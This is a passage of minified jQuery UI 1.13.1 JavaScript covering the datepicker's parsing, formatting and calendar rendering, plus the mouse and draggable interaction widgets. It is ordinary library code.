Date).getFullYear()%100+parseInt(l,10),u=(n?n.dayNamesShort:null)||this._defaults.dayNamesShort,c=(n?n.dayNames:null)||this._defaults.dayNames,d=(n?n.monthNamesShort:null)||this._defaults.monthNamesShort,h=(n?n.monthNames:null)||this._defaults.monthNames,p=-1,f=-1,m=-1,g=-1,_=!1,v=function(e){return(e=T+1<t.length&&t.charAt(T+1)===e)&&T++,e},y=function(e){var t=v(e);if(t="@"===e?14:"!"===e?20:"y"===e&&t?4:"o"===e?3:2,t=new RegExp("^\\d{"+("y"===e?t:1)+","+t+"}"),!(t=i.substring(o).match(t)))throw"Missing number at position "+o;return o+=t[0].length,parseInt(t[0],10)},b=function(t,n,r){var s=-1;if(n=e.map(v(t)?r:n,(function(e,t){return[[t,e]]})).sort((function(e,t){return-(e[1].length-t[1].length)})),e.each(n,(function(e,t){var n=t[1];if(i.substr(o,n.length).toLowerCase()===n.toLowerCase())return s=t[0],o+=n.length,!1})),-1!==s)return s+1;throw"Unknown name at position "+o},w=function(){if(i.charAt(o)!==t.charAt(T))throw"Unexpected literal at position "+o;o++},T=0;T<t.length;T++)if(_)"'"!==t.charAt(T)||v("'")?w():_=!1;else switch(t.charAt(T)){case"d":m=y("d");break;case"D":b("D",u,c);break;case"o":g=y("o");break;case"m":f=y("m");break;case"M":f=b("M",d,h);break;case"y":p=y("y");break;case"@":p=(a=new Date(y("@"))).getFullYear(),f=a.getMonth()+1,m=a.getDate();break;case"!":p=(a=new Date((y("!")-this._ticksTo1970)/1e4)).getFullYear(),f=a.getMonth()+1,m=a.getDate();break;case"'":v("'")?w():_=!0;break;default:w()}if(o<i.length&&(s=i.substr(o),!/^\s+/.test(s)))throw"Extra/unparsed characters found in date: "+s;if(-1===p?p=(new Date).getFullYear():p<100&&(p+=(new Date).getFullYear()-(new Date).getFullYear()%100+(p<=l?0:-100)),-1<g)for(f=1,m=g;!(m<=(r=this._getDaysInMonth(p,f-1)));)f++,m-=r;if((a=this._daylightSavingAdjust(new Date(p,f-1,m))).getFullYear()!==p||a.getMonth()+1!==f||a.getDate()!==m)throw"Invalid date";return a},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:24*(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*60*60*1e7,formatDate:function(e,t,i){if(!t)return"";function n(e,t,i){var n=""+t;if(c(e))for(;n.length<i;)n="0"+n;return n}function r(e,t,i,n){return(c(e)?n:i)[t]}var s,a=(i?i.dayNamesShort:null)||this._defaults.dayNamesShort,o=(i?i.dayNames:null)||this._defaults.dayNames,l=(i?i.monthNamesShort:null)||this._defaults.monthNamesShort,u=(i?i.monthNames:null)||this._defaults.monthNames,c=function(t){return(t=s+1<e.length&&e.charAt(s+1)===t)&&s++,t},d="",h=!1;if(t)for(s=0;s<e.length;s++)if(h)"'"!==e.charAt(s)||c("'")?d+=e.charAt(s):h=!1;else switch(e.charAt(s)){case"d":d+=n("d",t.getDate(),2);break;case"D":d+=r("D",t.getDay(),a,o);break;case"o":d+=n("o",Math.round((new Date(t.getFullYear(),t.getMonth(),t.getDate()).getTime()-new Date(t.getFullYear(),0,0).getTime())/864e5),3);break;case"m":d+=n("m",t.getMonth()+1,2);break;case"M":d+=r("M",t.getMonth(),l,u);break;case"y":d+=c("y")?t.getFullYear():(t.getFullYear()%100<10?"0":"")+t.getFullYear()%100;break;case"@":d+=t.getTime();break;case"!":d+=1e4*t.getTime()+this._ticksTo1970;break;case"'":c("'")?d+="'":h=!0;break;default:d+=e.charAt(s)}return d},_possibleChars:function(e){for(var t="",i=!1,n=function(t){return(t=r+1<e.length&&e.charAt(r+1)===t)&&r++,t},r=0;r<e.length;r++)if(i)"'"!==e.charAt(r)||n("'")?t+=e.charAt(r):i=!1;else switch(e.charAt(r)){case"d":case"m":case"y":case"@":t+="0123456789";break;case"D":case"M":return null;case"'":n("'")?t+="'":i=!0;break;default:t+=e.charAt(r)}return t},_get:function(e,t){return(void 0!==e.settings[t]?e.settings:this._defaults)[t]},_setDateFromField:function(e,t){if(e.input.val()!==e.lastVal){var i=this._get(e,"dateFormat"),n=e.lastVal=e.input?e.input.val():null,r=this._getDefaultDate(e),s=r,a=this._getFormatConfig(e);try{s=this.parseDate(i,n,a)||r}catch(e){n=t?"":n}e.selectedDay=s.getDate(),e.drawMonth=e.selectedMonth=s.getMonth(),e.drawYear=e.selectedYear=s.getFullYear(),e.currentDay=n?s.getDate():0,e.currentMonth=n?s.getMonth():0,e.currentYear=n?s.getFullYear():0,this._adjustInstDate(e)}},_getDefaultDate:function(e){return this._restrictMinMax(e,this._determineDate(e,this._get(e,"defaultDate"),new Date))},_determineDate:function(t,i,n){var r,s;return i=null==i||""===i?n:"string"==typeof i?function(i){try{return e.datepicker.parseDate(e.datepicker._get(t,"dateFormat"),i,e.datepicker._getFormatConfig(t))}catch(i){}for(var n=(i.toLowerCase().match(/^c/)?e.datepicker._getDate(t):null)||new Date,r=n.getFullYear(),s=n.getMonth(),a=n.getDate(),o=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=o.exec(i);l;){switch(l[2]||"d"){case"d":case"D":a+=parseInt(l[1],10);break;case"w":case"W":a+=7*parseInt(l[1],10);break;case"m":case"M":s+=parseInt(l[1],10),a=Math.min(a,e.datepicker._getDaysInMonth(r,s));break;case"y":case"Y":r+=parseInt(l[1],10),a=Math.min(a,e.datepicker._getDaysInMonth(r,s))}l=o.exec(i)}return new Date(r,s,a)}(i):"number"==typeof i?isNaN(i)?n:(r=i,(s=new Date).setDate(s.getDate()+r),s):new Date(i.getTime()),(i=i&&"Invalid Date"===i.toString()?n:i)&&(i.setHours(0),i.setMinutes(0),i.setSeconds(0),i.setMilliseconds(0)),this._daylightSavingAdjust(i)},_daylightSavingAdjust:function(e){return e?(e.setHours(12<e.getHours()?e.getHours()+2:0),e):null},_setDate:function(e,t,i){var n=!t,r=e.selectedMonth,s=e.selectedYear;t=this._restrictMinMax(e,this._determineDate(e,t,new Date)),e.selectedDay=e.currentDay=t.getDate(),e.drawMonth=e.selectedMonth=e.currentMonth=t.getMonth(),e.drawYear=e.selectedYear=e.currentYear=t.getFullYear(),r===e.selectedMonth&&s===e.selectedYear||i||this._notifyChange(e),this._adjustInstDate(e),e.input&&e.input.val(n?"":this._formatDate(e))},_getDate:function(e){return!e.currentYear||e.input&&""===e.input.val()?null:this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay))},_attachHandlers:function(t){var i=this._get(t,"stepMonths"),n="#"+t.id.replace(/\\\\/g,"\\");t.dpDiv.find("[data-handler]").map((function(){var t={prev:function(){e.datepicker._adjustDate(n,-i,"M")},next:function(){e.datepicker._adjustDate(n,+i,"M")},hide:function(){e.datepicker._hideDatepicker()},today:function(){e.datepicker._gotoToday(n)},selectDay:function(){return e.datepicker._selectDay(n,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return e.datepicker._selectMonthYear(n,this,"M"),!1},selectYear:function(){return e.datepicker._selectMonthYear(n,this,"Y"),!1}};e(this).on(this.getAttribute("data-event"),t[this.getAttribute("data-handler")])}))},_generateHTML:function(t){var i,n,r,s,a,o,l,u,c,d,h,p,f,m,g,_,v,y,b,w,T,k,S,M,x,L,C,D,E,P,A,I,O=new Date,Y=this._daylightSavingAdjust(new Date(O.getFullYear(),O.getMonth(),O.getDate())),$=this._get(t,"isRTL"),j=this._get(t,"showButtonPanel"),N=this._get(t,"hideIfNoPrevNext"),R=this._get(t,"navigationAsDateFormat"),H=this._getNumberOfMonths(t),F=this._get(t,"showCurrentAtPos"),B=(O=this._get(t,"stepMonths"),1!==H[0]||1!==H[1]),U=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),W=this._getMinMaxDate(t,"min"),z=this._getMinMaxDate(t,"max"),q=t.drawMonth-F,V=t.drawYear;if(q<0&&(q+=12,V--),z)for(i=this._daylightSavingAdjust(new Date(z.getFullYear(),z.getMonth()-H[0]*H[1]+1,z.getDate())),i=W&&i<W?W:i;this._daylightSavingAdjust(new Date(V,q,1))>i;)--q<0&&(q=11,V--);for(t.drawMonth=q,t.drawYear=V,F=this._get(t,"prevText"),F=R?this.formatDate(F,this._daylightSavingAdjust(new Date(V,q-O,1)),this._getFormatConfig(t)):F,n=this._canAdjustMonth(t,-1,V,q)?e("<a>").attr({class:"ui-datepicker-prev ui-corner-all","data-handler":"prev","data-event":"click",title:F}).append(e("<span>").addClass("ui-icon ui-icon-circle-triangle-"+($?"e":"w")).text(F))[0].outerHTML:N?"":e("<a>").attr({class:"ui-datepicker-prev ui-corner-all ui-state-disabled",title:F}).append(e("<span>").addClass("ui-icon ui-icon-circle-triangle-"+($?"e":"w")).text(F))[0].outerHTML,F=this._get(t,"nextText"),F=R?this.formatDate(F,this._daylightSavingAdjust(new Date(V,q+O,1)),this._getFormatConfig(t)):F,r=this._canAdjustMonth(t,1,V,q)?e("<a>").attr({class:"ui-datepicker-next ui-corner-all","data-handler":"next","data-event":"click",title:F}).append(e("<span>").addClass("ui-icon ui-icon-circle-triangle-"+($?"w":"e")).text(F))[0].outerHTML:N?"":e("<a>").attr({class:"ui-datepicker-next ui-corner-all ui-state-disabled",title:F}).append(e("<span>").attr("class","ui-icon ui-icon-circle-triangle-"+($?"w":"e")).text(F))[0].outerHTML,O=this._get(t,"currentText"),N=this._get(t,"gotoCurrent")&&t.currentDay?U:Y,O=R?this.formatDate(O,N,this._getFormatConfig(t)):O,F="",t.inline||(F=e("<button>").attr({type:"button",class:"ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all","data-handler":"hide","data-event":"click"}).text(this._get(t,"closeText"))[0].outerHTML),R="",j&&(R=e("<div class='ui-datepicker-buttonpane ui-widget-content'>").append($?F:"").append(this._isInRange(t,N)?e("<button>").attr({type:"button",class:"ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all","data-handler":"today","data-event":"click"}).text(O):"").append($?"":F)[0].outerHTML),s=parseInt(this._get(t,"firstDay"),10),s=isNaN(s)?0:s,a=this._get(t,"showWeek"),o=this._get(t,"dayNames"),l=this._get(t,"dayNamesMin"),u=this._get(t,"monthNames"),c=this._get(t,"monthNamesShort"),d=this._get(t,"beforeShowDay"),h=this._get(t,"showOtherMonths"),p=this._get(t,"selectOtherMonths"),f=this._getDefaultDate(t),m="",_=0;_<H[0];_++){for(v="",this.maxRows=4,y=0;y<H[1];y++){if(b=this._daylightSavingAdjust(new Date(V,q,t.selectedDay)),w=" ui-corner-all",T="",B){if(T+="<div class='ui-datepicker-group",1<H[1])switch(y){case 0:T+=" ui-datepicker-group-first",w=" ui-corner-"+($?"right":"left");break;case H[1]-1:T+=" ui-datepicker-group-last",w=" ui-corner-"+($?"left":"right");break;default:T+=" ui-datepicker-group-middle",w=""}T+="'>"}for(T+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+w+"'>"+(/all|left/.test(w)&&0===_?$?r:n:"")+(/all|right/.test(w)&&0===_?$?n:r:"")+this._generateMonthYearHeader(t,q,V,W,z,0<_||0<y,u,c)+"</div><table class='ui-datepicker-calendar'><thead><tr>",k=a?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",g=0;g<7;g++)k+="<th scope='col'"+(5<=(g+s+6)%7?" class='ui-datepicker-week-end'":"")+"><span title='"+o[S=(g+s)%7]+"'>"+l[S]+"</span></th>";for(T+=k+"</tr></thead><tbody>",x=this._getDaysInMonth(V,q),V===t.selectedYear&&q===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,x)),M=(this._getFirstDayOfMonth(V,q)-s+7)%7,x=Math.ceil((M+x)/7),L=B&&this.maxRows>x?this.maxRows:x,this.maxRows=L,C=this._daylightSavingAdjust(new Date(V,q,1-M)),D=0;D<L;D++){for(T+="<tr>",E=a?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(C)+"</td>":"",g=0;g<7;g++)P=d?d.apply(t.input?t.input[0]:null,[C]):[!0,""],I=(A=C.getMonth()!==q)&&!p||!P[0]||W&&C<W||z&&z<C,E+="<td class='"+(5<=(g+s+6)%7?" ui-datepicker-week-end":"")+(A?" ui-datepicker-other-month":"")+(C.getTime()===b.getTime()&&q===t.selectedMonth&&t._keyEvent||f.getTime()===C.getTime()&&f.getTime()===b.getTime()?" "+this._dayOverClass:"")+(I?" "+this._unselectableClass+" ui-state-disabled":"")+(A&&!h?"":" "+P[1]+(C.getTime()===U.getTime()?" "+this._currentClass:"")+(C.getTime()===Y.getTime()?" ui-datepicker-today":""))+"'"+(A&&!h||!P[2]?"":" title='"+P[2].replace(/'/g,"&#39;")+"'")+(I?"":" data-handler='selectDay' data-event='click' data-month='"+C.getMonth()+"' data-year='"+C.getFullYear()+"'")+">"+(A&&!h?"&#xa0;":I?"<span class='ui-state-default'>"+C.getDate()+"</span>":"<a class='ui-state-default"+(C.getTime()===Y.getTime()?" ui-state-highlight":"")+(C.getTime()===U.getTime()?" ui-state-active":"")+(A?" ui-priority-secondary":"")+"' href='#' aria-current='"+(C.getTime()===U.getTime()?"true":"false")+"' data-date='"+C.getDate()+"'>"+C.getDate()+"</a>")+"</td>",C.setDate(C.getDate()+1),C=this._daylightSavingAdjust(C);T+=E+"</tr>"}11<++q&&(q=0,V++),v+=T+="</tbody></table>"+(B?"</div>"+(0<H[0]&&y===H[1]-1?"<div class='ui-datepicker-row-break'></div>":""):"")}m+=v}return m+=R,t._keyEvent=!1,m},_generateMonthYearHeader:function(e,t,i,n,r,s,a,o){var l,u,c,d,h,p,f=this._get(e,"changeMonth"),m=this._get(e,"changeYear"),g=this._get(e,"showMonthAfterYear"),_=this._get(e,"selectMonthLabel"),v=this._get(e,"selectYearLabel"),y="<div class='ui-datepicker-title'>",b="";if(s||!f)b+="<span class='ui-datepicker-month'>"+a[t]+"</span>";else{for(l=n&&n.getFullYear()===i,u=r&&r.getFullYear()===i,b+="<select class='ui-datepicker-month' aria-label='"+_+"' data-handler='selectMonth' data-event='change'>",c=0;c<12;c++)(!l||c>=n.getMonth())&&(!u||c<=r.getMonth())&&(b+="<option value='"+c+"'"+(c===t?" selected='selected'":"")+">"+o[c]+"</option>");b+="</select>"}if(g||(y+=b+(!s&&f&&m?"":"&#xa0;")),!e.yearshtml)if(e.yearshtml="",s||!m)y+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(a=this._get(e,"yearRange").split(":"),d=(new Date).getFullYear(),h=(_=function(e){return e=e.match(/c[+\-].*/)?i+parseInt(e.substring(1),10):e.match(/[+\-].*/)?d+parseInt(e,10):parseInt(e,10),isNaN(e)?d:e})(a[0]),p=Math.max(h,_(a[1]||"")),h=n?Math.max(h,n.getFullYear()):h,p=r?Math.min(p,r.getFullYear()):p,e.yearshtml+="<select class='ui-datepicker-year' aria-label='"+v+"' data-handler='selectYear' data-event='change'>";h<=p;h++)e.yearshtml+="<option value='"+h+"'"+(h===i?" selected='selected'":"")+">"+h+"</option>";e.yearshtml+="</select>",y+=e.yearshtml,e.yearshtml=null}return y+=this._get(e,"yearSuffix"),g&&(y+=(!s&&f&&m?"":"&#xa0;")+b),y+"</div>"},_adjustInstDate:function(e,t,i){var n=e.selectedYear+("Y"===i?t:0),r=e.selectedMonth+("M"===i?t:0);t=Math.min(e.selectedDay,this._getDaysInMonth(n,r))+("D"===i?t:0),t=this._restrictMinMax(e,this._daylightSavingAdjust(new Date(n,r,t))),e.selectedDay=t.getDate(),e.drawMonth=e.selectedMonth=t.getMonth(),e.drawYear=e.selectedYear=t.getFullYear(),"M"!==i&&"Y"!==i||this._notifyChange(e)},_restrictMinMax:function(e,t){var i=this._getMinMaxDate(e,"min");return t=i&&t<i?i:t,(e=this._getMinMaxDate(e,"max"))&&e<t?e:t},_notifyChange:function(e){var t=this._get(e,"onChangeMonthYear");t&&t.apply(e.input?e.input[0]:null,[e.selectedYear,e.selectedMonth+1,e])},_getNumberOfMonths:function(e){return null==(e=this._get(e,"numberOfMonths"))?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(e,t){return this._determineDate(e,this._get(e,t+"Date"),null)},_getDaysInMonth:function(e,t){return 32-this._daylightSavingAdjust(new Date(e,t,32)).getDate()},_getFirstDayOfMonth:function(e,t){return new Date(e,t,1).getDay()},_canAdjustMonth:function(e,t,i,n){var r=this._getNumberOfMonths(e);return r=this._daylightSavingAdjust(new Date(i,n+(t<0?t:r[0]*r[1]),1)),t<0&&r.setDate(this._getDaysInMonth(r.getFullYear(),r.getMonth())),this._isInRange(e,r)},_isInRange:function(e,t){var i=this._getMinMaxDate(e,"min"),n=this._getMinMaxDate(e,"max"),r=null,s=null,a=this._get(e,"yearRange");return a&&(e=a.split(":"),a=(new Date).getFullYear(),r=parseInt(e[0],10),s=parseInt(e[1],10),e[0].match(/[+\-].*/)&&(r+=a),e[1].match(/[+\-].*/)&&(s+=a)),(!i||t.getTime()>=i.getTime())&&(!n||t.getTime()<=n.getTime())&&(!r||t.getFullYear()>=r)&&(!s||t.getFullYear()<=s)},_getFormatConfig:function(e){var t=this._get(e,"shortYearCutoff");return{shortYearCutoff:t="string"!=typeof t?t:(new Date).getFullYear()%100+parseInt(t,10),dayNamesShort:this._get(e,"dayNamesShort"),dayNames:this._get(e,"dayNames"),monthNamesShort:this._get(e,"monthNamesShort"),monthNames:this._get(e,"monthNames")}},_formatDate:function(e,t,i,n){return t||(e.currentDay=e.selectedDay,e.currentMonth=e.selectedMonth,e.currentYear=e.selectedYear),t=t?"object"==typeof t?t:this._daylightSavingAdjust(new Date(n,i,t)):this._daylightSavingAdjust(new Date(e.currentYear,e.currentMonth,e.currentDay)),this.formatDate(this._get(e,"dateFormat"),t,this._getFormatConfig(e))}}),e.fn.datepicker=function(t){if(!this.length)return this;e.datepicker.initialized||(e(document).on("mousedown",e.datepicker._checkExternalClick),e.datepicker.initialized=!0),0===e("#"+e.datepicker._mainDivId).length&&e("body").append(e.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"==typeof t&&("isDisabled"===t||"getDate"===t||"widget"===t)||"option"===t&&2===arguments.length&&"string"==typeof arguments[1]?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this[0]].concat(i)):this.each((function(){"string"==typeof t?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this].concat(i)):e.datepicker._attachDatepicker(this,t)}))},e.datepicker=new ne,e.datepicker.initialized=!1,e.datepicker.uuid=(new Date).getTime(),e.datepicker.version="1.13.1",e.datepicker,e.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var oe,le=!1;function ue(e,t,i){return t<=e&&e<t+i}function ce(e){return function(){var t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}e(document).on("mouseup",(function(){le=!1})),e.widget("ui.mouse",{version:"1.13.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var t=this;this.element.on("mousedown."+this.widgetName,(function(e){return t._mouseDown(e)})).on("click."+this.widgetName,(function(i){if(!0===e.data(i.target,t.widgetName+".preventClickEvent"))return e.removeData(i.target,t.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1})),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(t){if(!le){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(t),this._mouseDownEvent=t;var i=this,n=1===t.which,r=!("string"!=typeof this.options.cancel||!t.target.nodeName)&&e(t.target).closest(this.options.cancel).length;return!(n&&!r&&this._mouseCapture(t))||(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout((function(){i.mouseDelayMet=!0}),this.options.delay)),this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(t),!this._mouseStarted)?(t.preventDefault(),!0):(!0===e.data(t.target,this.widgetName+".preventClickEvent")&&e.removeData(t.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(e){return i._mouseMove(e)},this._mouseUpDelegate=function(e){return i._mouseUp(e)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),t.preventDefault(),le=!0))}},_mouseMove:function(t){if(this._mouseMoved){if(e.ui.ie&&(!document.documentMode||document.documentMode<9)&&!t.button)return this._mouseUp(t);if(!t.which)if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(t)}return(t.which||t.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(t),t.preventDefault()):(this._mouseDistanceMet(t)&&this._mouseDelayMet(t)&&(this._mouseStarted=!1!==this._mouseStart(this._mouseDownEvent,t),this._mouseStarted?this._mouseDrag(t):this._mouseUp(t)),!this._mouseStarted)},_mouseUp:function(t){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,t.target===this._mouseDownEvent.target&&e.data(t.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(t)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,le=!1,t.preventDefault()},_mouseDistanceMet:function(e){return Math.max(Math.abs(this._mouseDownEvent.pageX-e.pageX),Math.abs(this._mouseDownEvent.pageY-e.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),e.ui.plugin={add:function(t,i,n){var r,s=e.ui[t].prototype;for(r in n)s.plugins[r]=s.plugins[r]||[],s.plugins[r].push([i,n[r]])},call:function(e,t,i,n){var r,s=e.plugins[t];if(s&&(n||e.element[0].parentNode&&11!==e.element[0].parentNode.nodeType))for(r=0;r<s.length;r++)e.options[s[r][0]]&&s[r][1].apply(e.element,i)}},e.ui.safeBlur=function(t){t&&"body"!==t.nodeName.toLowerCase()&&e(t).trigger("blur")},e.widget("ui.draggable",e.ui.mouse,{version:"1.13.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){(this.helper||this.element).is(".ui-draggable-dragging")?this.destroyOnClear=!0:(this._removeHandleClassName(),this._mouseDestroy())},_mouseCapture:function(t){var i=this.options;return!(this.helper||i.disabled||0<e(t.target).closest(".ui-resizable-handle").length||(this.handle=this._getHandle(t),!this.handle||(this._blurActiveElement(t),this._blockFrames(!0===i.iframeFix?"iframe":i.iframeFix),0)))},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map((function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]}))},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=e.ui.safeActiveElement(this.document[0]);e(t.target).closest(i).length||e.ui.safeBlur(i)},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=0<this.helper.parents().filter((function(){return"fixed"===e(this).css("position")})).length,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),!1===this._trigger("start",t)?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){if(i=this._uiHash(),!1===this._trigger("drag",t,i))return this._mouseUp(new e.Event("mouseup",t)),!1;this.position=i.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,n=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(n=e.ui.ddmanager.drop(this,t)),this.dropped&&(n=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!n||"valid"===this.options.revert&&n||!0===this.options.revert||"function"==typeof this.options.revert&&this.options.revert.call(this.element,n)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),(function(){!1!==i._trigger("stop",t)&&i._clear()})):!1!==this._trigger("stop",t)&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.trigger("focus"),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new e.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(t){return!this.options.handle||!!e(t.target).closest(this.element.find(this.options.handle)).length},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(t){var i=this.options,n="function"==typeof i.helper;return(t=n?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element).parents("body").length||t.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),n&&t[0]===this.element[0]&&this._setPositionRelative(),t[0]===this.element[0]||/(fixed|absolute)/.test(t.css("position"))||t.css("position","absolute"),t},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),"left"in(e=Array.isArray(e)?{left:+e[0],top:+e[1]||0}:e)&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this._isRootNode(this.offsetParent[0])?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var 